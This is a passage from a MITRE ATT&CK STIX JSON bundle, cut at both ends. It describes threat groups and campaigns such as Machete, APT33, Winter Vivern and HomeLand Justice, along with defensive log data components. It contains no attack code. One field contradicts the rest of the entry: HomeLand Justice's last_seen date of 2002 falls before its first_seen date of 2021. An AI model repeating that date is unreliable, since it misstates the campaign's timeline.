@abnev"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e","type":"intrusion-set","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0054","external_id":"G0054"},{"source_name":"Sowbug","description":"(Citation: Symantec Sowbug Nov 2017)"},{"url":"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments","description":"Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.","source_name":"Symantec Sowbug Nov 2017"}],"modified":"2020-03-30T02:46:16.483Z","name":"Sowbug","description":"[Sowbug](https://attack.mitre.org/groups/G0054) is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia, particularly government entities, since at least 2015. (Citation: Symantec Sowbug Nov 2017)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:41:37.453Z","name":"Mofang","description":"[Mofang](https://attack.mitre.org/groups/G0103) is a likely China-based cyber espionage group, named for its frequent practice of imitating a victim's infrastructure. This adversary has been observed since at least May 2012 conducting focused attacks against government and critical infrastructure in Myanmar, as well as several other countries and sectors including military, automobile, and weapons industries.(Citation: FOX-IT May 2016 Mofang)","aliases":["Mofang"],"x_mitre_deprecated":false,"x_mitre_version":"1.1","type":"intrusion-set","id":"intrusion-set--88489675-d216-4884-a98f-49a89fcc1643","created":"2020-05-12T21:23:59.021Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0103","external_id":"G0103"},{"source_name":"FOX-IT May 2016 Mofang","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020.","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.274Z","name":"Cloud Service Modification","description":"Changes made to a cloud service, including its settings and/or data (ex: AWS CloudTrail DeleteTrail or DeleteConfigRule)","x_mitre_data_source_ref":"x-mitre-data-source--b1ddede4-cafe-4955-ac4c-14b33ac3f647","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Machete","APT-C-43","El Machete"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matias Nicolas Porolli, ESET"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0","type":"intrusion-set","created":"2019-09-13T12:37:10.394Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0095","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0095"},{"source_name":"Machete","description":"(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)("},{"source_name":"APT-C-43","description":"(Citation: 360 Machete Sep 2020)"},{"source_name":"El Machete","description":"(Citation: Cylance Machete Mar 2017)"},{"description":"The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.","url":"https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html","source_name":"Cylance Machete Mar 2017"},{"source_name":"Securelist Machete Aug 2014","url":"https://securelist.com/el-machete/66108/","description":"Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."},{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."},{"source_name":"360 Machete Sep 2020","url":"https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/","description":"kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020."}],"modified":"2021-10-06T19:26:47.988Z","name":"Machete","description":"[Machete](https://attack.mitre.org/groups/G0095) is a suspected Spanish-speaking cyber espionage group that has been active since at least 2010. It has primarily focused its operations within Latin America, with a particular emphasis on Venezuela, but also in the US, Europe, Russia, and parts of Asia. [Machete](https://attack.mitre.org/groups/G0095) generally targets high-profile organizations such as government institutions, intelligence services, and military units, as well as telecommunications and power companies.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020)","x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-21T18:21:02.205Z","name":"HomeLand Justice","description":"[HomeLand Justice](https://attack.mitre.org/campaigns/C0038) was a disruptive campaign involving the use of ransomware, wiper malware, and sensitive information leaks conducted by Iranian state cyber actors against Albanian government networks in July and September 2022. Initial access for [HomeLand Justice](https://attack.mitre.org/campaigns/C0038) was established in May 2021 as threat actors subsequently moved laterally, exfiltrated sensitive information, and maintained persistence for approximately 14 months prior to the attacks. Responsibility was claimed by the \"HomeLand Justice\" front whose messaging indicated targeting of the Mujahedeen-e Khalq (MEK), an Iranian opposition group who maintain a refugee camp in Albania, and were formerly designated a terrorist organization by the US State Department.(Citation: Mandiant ROADSWEEP August 2022)(Citation: Microsoft Albanian Government Attacks September 2022)(Citation: CISA Iran Albanian Attacks September 2022) A second wave of attacks was launched in September 2022 using similar tactics after public attribution of the previous activity to Iran and the severing of diplomatic ties between Iran and Albania.(Citation: CISA Iran Albanian Attacks September 2022)\n\n","aliases":["HomeLand Justice"],"first_seen":"2021-05-01T04:00:00.000Z","last_seen":"2002-09-01T04:00:00.000Z","x_mitre_first_seen_citation":"(Citation: Mandiant ROADSWEEP August 2022)(Citation: Microsoft Albanian Government Attacks September 2022)(Citation: CISA Iran Albanian Attacks September 2022)","x_mitre_last_seen_citation":"(Citation: CISA Iran Albanian Attacks September 2022)","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_contributors":["Aung Kyaw Min Naing, @Nolan"],"type":"campaign","id":"campaign--7e21077d-2589-43a7-a5f9-490061289526","created":"2024-08-06T20:52:19.002Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0038","external_id":"C0038"},{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"},{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"},{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--8e44412e-3238-4d64-8878-4f11e27784fe","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.275Z","name":"Group Enumeration","description":"An extracted list of available groups and/or their associated settings (ex: AWS list-groups)","x_mitre_data_source_ref":"x-mitre-data-source--3c07684f-3794-4536-8f70-21efe700c0ec","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--b008766d-f34f-4ded-b712-659f59aaed6e","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.271Z","name":"Image Creation","description":"Initial construction of a virtual machine image (ex: Azure Compute Service Images PUT)","x_mitre_data_source_ref":"x-mitre-data-source--1ac0ca69-e07e-4b34-9061-e4588e146c52","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-01-25T21:02:33.515Z","name":"C0017","description":"[C0017](https://attack.mitre.org/campaigns/C0017) was an [APT41](https://attack.mitre.org/groups/G0096) campaign conducted between May 2021 and February 2022 that successfully compromised at least six U.S. state government networks through the exploitation of vulnerable Internet facing web applications. During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) was quick to adapt and use publicly-disclosed as well as zero-day vulnerabilities for initial access, and in at least two cases re-compromised victims following remediation efforts. The goals of [C0017](https://attack.mitre.org/campaigns/C0017) are unknown, however [APT41](https://attack.mitre.org/groups/G0096) was observed exfiltrating Personal Identifiable Information (PII).(Citation: Mandiant APT41)","aliases":["C0017"],"first_seen":"2021-05-01T04:00:00.000Z","last_seen":"2022-02-01T05:00:00.000Z","x_mitre_first_seen_citation":"(Citation: Mandiant APT41)","x_mitre_last_seen_citation":"(Citation: Mandiant APT41)","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_contributors":["Kyaw Pyiyt Htet, @KyawPyiytHtet"],"type":"campaign","id":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","created":"2022-12-01T15:40:34.011Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0017","external_id":"C0017"},{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.271Z","name":"User Account Modification","description":"Changes made to an account, such as permissions and/or membership in specific groups (ex: Windows EID 4738 or /var/log access/authentication logs)","x_mitre_data_source_ref":"x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["FIN5"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Walker Johnson"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022","type":"intrusion-set","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0053","external_id":"G0053"},{"source_name":"FIN5","description":"(Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)"},{"source_name":"FireEye Respond Webinar July 2017","description":"Scavella, T. and Rifki, A. (2017, July 20). Are you Ready to Respond? (Webinar). Retrieved October 4, 2017.","url":"https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html"},{"source_name":"Mandiant FIN5 GrrCON Oct 2016","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","url":"https://www.youtube.com/watch?v=fevGZs0EQu8"},{"source_name":"DarkReading FireEye FIN5 Oct 2015","description":"Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.","url":"https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?"}],"modified":"2021-10-16T19:48:37.809Z","name":"FIN5","description":"[FIN5](https://attack.mitre.org/groups/G0053) is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian. (Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-10T14:33:40.986Z","name":"Winter Vivern","description":"Winter Vivern is a group linked to Russian and Belorussian interests active since at least 2020 targeting various European government and NGO entities, along with sporadic targeting of Indian and US victims. The group leverages a combination of document-based phishing activity and server-side exploitation for initial access, leveraging adversary-controlled and -created infrastructure for follow-on command and control.(Citation: DomainTools WinterVivern 2021)(Citation: SentinelOne WinterVivern 2023)(Citation: CERT-UA WinterVivern 2023)(Citation: ESET WinterVivern 2023)(Citation: Proofpoint WinterVivern 2023)","aliases":["Winter Vivern","TA473","UAC-0114"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_contributors":["Onur Atali"],"type":"intrusion-set","id":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","created":"2024-07-29T22:23:03.779Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1035","external_id":"G1035"},{"source_name":"UAC-0114","description":"(Citation: CERT-UA WinterVivern 2023)"},{"source_name":"TA473","description":"(Citation: Proofpoint WinterVivern 2023)"},{"source_name":"CERT-UA WinterVivern 2023","description":"CERT-UA. (2023, February 1). UAC-0114 aka Winter Vivern to target Ukrainian and Polish GOV entities (CERT-UA#5909). Retrieved July 29, 2024.","url":"https://cert.gov.ua/article/3761104"},{"source_name":"DomainTools WinterVivern 2021","description":"Chad Anderson. (2021, April 27). Winter Vivern: A Look At Re-Crafted Government MalDocs Targeting Multiple Languages. Retrieved July 29, 2024.","url":"https://www.domaintools.com/resources/blog/winter-vivern-a-look-at-re-crafted-government-maldocs/"},{"source_name":"ESET WinterVivern 2023","description":"Matthieu Faou. (2023, October 25). Winter Vivern exploits zero-day vulnerability in Roundcube Webmail servers. Retrieved July 29, 2024.","url":"https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/"},{"source_name":"Proofpoint WinterVivern 2023","description":"Michael Raggi & The Proofpoint Threat Research Team. (2023, March 30). Exploitation is a Dish Best Served Cold: Winter Vivern Uses Known Zimbra Vulnerability to Target Webmail Portals of NATO-Aligned Governments in Europe. Retrieved July 29, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/exploitation-dish-best-served-cold-winter-vivern-uses-known-zimbra-vulnerability"},{"source_name":"SentinelOne WinterVivern 2023","description":"Tom Hegel. (2023, March 16). Winter Vivern | Uncovering a Wave of Global Espionage. Retrieved July 29, 2024.","url":"https://www.sentinelone.com/labs/winter-vivern-uncovering-a-wave-of-global-espionage/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-24T18:51:09.213Z","name":"SideCopy","description":"[SideCopy](https://attack.mitre.org/groups/G1008) is a Pakistani threat group that has primarily targeted South Asian countries, including Indian and Afghani government personnel, since at least 2019. [SideCopy](https://attack.mitre.org/groups/G1008)'s name comes from its infection chain that tries to mimic that of [Sidewinder](https://attack.mitre.org/groups/G0121), a suspected Indian threat group.(Citation: MalwareBytes SideCopy Dec 2021)","aliases":["SideCopy"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_contributors":["Pooja Natarajan, NEC Corporation India","Hiroki Nagahama, NEC Corporation","Manikantan Srinivasan, NEC Corporation India"],"type":"intrusion-set","id":"intrusion-set--03be849d-b5a2-4766-9dda-48976bae5710","created":"2022-08-07T13:52:07.791Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1008","external_id":"G1008"},{"source_name":"MalwareBytes SideCopy Dec 2021","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022.","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.0.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:29:32.199Z","name":"Operation Spalax","description":"[Operation Spalax](https://attack.mitre.org/campaigns/C0005) was a campaign that primarily targeted Colombian government organizations and private companies, particularly those associated with the energy and metallurgical industries. The [Operation Spalax](https://attack.mitre.org/campaigns/C0005) threat actors distributed commodity malware and tools using generic phishing topics related to COVID-19, banking, and law enforcement action. Security researchers noted indicators of compromise and some infrastructure overlaps with other campaigns dating back to April 2018, including at least one separately attributed to [APT-C-36](https://attack.mitre.org/groups/G0099), however identified enough differences to report this as separate, unattributed activity.(Citation: ESET Operation Spalax Jan 2021) ","aliases":["Operation Spalax"],"first_seen":"2019-11-01T05:00:00.000Z","last_seen":"2021-01-01T06:00:00.000Z","x_mitre_first_seen_citation":"(Citation: ESET Operation Spalax Jan 2021)","x_mitre_last_seen_citation":"(Citation: ESET Operation Spalax Jan 2021)","x_mitre_deprecated":false,"x_mitre_version":"1.1","type":"campaign","id":"campaign--4c840263-bbda-440d-a22b-674679ddebf1","created":"2022-09-16T15:32:41.893Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0005","external_id":"C0005"},{"source_name":"ESET Operation Spalax Jan 2021","description":"M. Porolli. (2021, January 21). Operation Spalax: Targeted malware attacks in Colombia. Retrieved September 16, 2022.","url":"https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.274Z","name":"Active Directory Credential Request","description":"A user requested active directory credentials, such as a ticket or token (ex: Windows EID 4769)","x_mitre_data_source_ref":"x-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-20T20:20:12.165Z","name":"Malware Metadata","description":"Contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information","x_mitre_data_source_ref":"x-mitre-data-source--b86d9b40-5fbe-4ef1-8dc3-263eff26f495","x_mitre_deprecated":false,"x_mitre_version":"1.1","type":"x-mitre-data-component","id":"x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-20T20:22:45.613Z","name":"Host Status","description":"Logging, messaging, and other artifacts highlighting the health of host sensors (ex: metrics, errors, and/or exceptions from logging applications)","x_mitre_data_source_ref":"x-mitre-data-source--4523e7f3-8de2-4078-96f8-1227eb537159","x_mitre_deprecated":false,"x_mitre_version":"1.1","type":"x-mitre-data-component","id":"x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--9085a576-636a-455b-91d2-c2921bbe6d1d","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.274Z","name":"Active Directory Object Deletion","description":"Removal of an active directory object (ex: Windows EID 5141)","x_mitre_data_source_ref":"x-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--58ef998c-f3bf-4985-b487-b1005f5c05d1","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.272Z","name":"Cloud Storage Access","description":"Opening of a cloud storage infrastructure, typically to collect/read its value (ex: AWS S3 GetObject)","x_mitre_data_source_ref":"x-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T16:06:34.700Z","name":"APT33","description":"[APT33](https://attack.mitre.org/groups/G0064) is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors.(Citation: FireEye APT33 Sept 2017)(Citation: FireEye APT33 Webinar Sept 2017)","aliases":["APT33","HOLMIUM","Elfin","Peach Sandstorm"],"x_mitre_deprecated":false,"x_mitre_version":"2.0","x_mitre_contributors":["Dragos Threat Intelligence"],"type":"intrusion-set","id":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0064","external_id":"G0064"},{"source_name":"APT33","description":"(Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)"},{"source_name":"HOLMIUM","description":"(Citation: Microsoft Holmium June 2020)"},{"source_name":"Peach Sandstorm","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"Elfin","description":"(Citation: Symantec Elfin Mar 2019)"},{"source_name":"FireEye APT33 Webinar Sept 2017","description":"Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.","url":"https://www.brighttalk.com/webcast/10703/275683"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Microsoft Holmium June 2020","description":"Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020.","url":"https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/"},{"source_name":"FireEye APT33 Sept 2017","description":"O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html"},{"source_name":"Symantec Elfin Mar 2019","description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["ics-attack","enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-13T17:10:55.334Z","name":"Operation Sharpshooter","description":"[Operation Sharpshooter](https://attack.mitre.org/campaigns/C0013) was a global cyber espionage campaign that targeted nuclear, defense, government, energy, and financial companies, with many located in Germany, Turkey, the United Kingdom, and the United States. Security researchers noted the campaign shared many similarities with previous [Lazarus Group](https://attack.mitre.org/groups/G0032) operations, including fake job recruitment lures and shared malware code.(Citation: McAfee Sharpshooter December 2018)(Citation: Bleeping Computer Op Sharpshooter March 2019)(Citation: Threatpost New Op Sharpshooter Data March 2019) ","aliases":["Operation Sharpshooter"],"first_seen":"2017-09-01T05:00:00.000Z","last_seen":"2019-03-01T06:00:00.000Z","x_mitre_first_seen_citation":"(Citation: Threatpost New Op Sharpshooter Data March 2019)","x_mitre_last_seen_citation":"(Citation: Threatpost New Op Sharpshooter Data March 2019)","x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"campaign","id":"campaign--37764c78-2a99-46d1-a7ea-6454b9bf93a0","created":"2022-09-26T21:18:34.075Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0013","external_id":"C0013"},{"source_name":"Bleeping Computer Op Sharpshooter March 2019","description":"I. Ilascu. (2019, March 3). Op 'Sharpshooter' Connected to North Korea's Lazarus Group. Retrieved September 26, 2022.","url":"https://www.bleepingcomputer.com/news/security/op-sharpshooter-connected-to-north-koreas-lazarus-group/"},{"source_name":"Threatpost New Op Sharpshooter Data March 2019","description":"L. O'Donnell. (2019, March 3). RSAC 2019: New Operation Sharpshooter Data Reveals Higher Complexity, Scope. Retrieved September 26, 2022.","url":"https://threatpost.com/sharpshooter-complexity-scope/142359/"},{"source_name":"McAfee Sharpshooter December 2018","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 